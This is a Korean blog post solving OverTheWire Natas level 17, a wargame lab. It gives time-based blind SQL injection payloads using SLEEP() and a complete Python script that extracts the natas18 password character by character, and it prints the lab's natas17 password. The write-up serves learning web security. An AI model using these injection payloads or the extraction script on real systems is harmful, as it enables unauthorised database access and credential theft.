Post

Natas Level 17 풀이


로그인


Username: natas17
URL: http://natas17.natas.labs.overthewire.org

이번에는 username을 입력하는 칸이 있다.
소스코드를 보면,

Desktop View

입력한 유저가 존재하든, 존재하지 않든, 쿼리문에 에러가 뜨든.. 입력받는 모든 쿼리에 대해 아무것도 출력하지 않는다.
따라서 Blind SQL injection 문제이다.




풀이



사용자 입력을 쿼리에 바로 넣어서 실행시키고 있으므로,
필터링 걱정 없이 쿼리만 잘 조작하면 된다.

우선 참인 쿼리문과 거짓인 쿼리문의 차이를 찾기 위해 sleep()을 이용했다.

natas18” and SLEEP(3) # 을 입력했을 때, 3초가량의 딜레이가 있었던 반면
happy” and SLEEP(3) # 을 입력했을 때는 딜레이 없이 빈 화면이 출력되었다.

이는 username 중에 natas18이 존재한다는 뜻이므로, 패스워드 한 글자씩 넣어서 참인지 확인하는 쿼리를 넣으면 된다.

1
natas18" AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username = 'natas18'), 1, 1)) = ASCII('a'), SLEEP(5), 0) #

위의 쿼리는 natas18의 패스워드의 첫 글자가 a 이면 sleep(5)가 작동한다.
이를 바탕으로 자동화프로그램을 쓰면 된다.




자동화 프로그램


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
from requests.auth import HTTPBasicAuth
import time
 
url = 'http://natas17.natas.labs.overthewire.org/'
auth = HTTPBasicAuth('natas17', 'XkEuChE0SbnKBvH1RU7ksIb9uuLmI7sd')
 
pw = ''
characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
 
for position in range(33):
    for char in characters:
        sql_query = f'natas18" AND IF(ASCII(SUBSTRING((SELECT password FROM users WHERE username="natas18"), {position}, 1)) = ASCII("{char}"), SLEEP(5), 0) #'
        data = {'username': sql_query}
 
        start_time = time.time()
        response = requests.post(url, auth=auth, data=data)
        duration = time.time() - start_time
 
        if duration > 5:
            pw += char
            print(f'{position}번: {char}')
            break
 
print(f'natas18 password: {pw}')


주의 사항은, time() 함수에 5초 이상 넣어야 한다..
처음에 3초로 했었는데 패스워드가 맞지 않아 검색해보니 5초 이상 설정해야 한다고 한다.
5초 미만으로 할 시 일부 맞지 않는 패스워드 문자가 나온다.


결과:
Desktop View

This post is licensed under CC BY 4.0 by the author.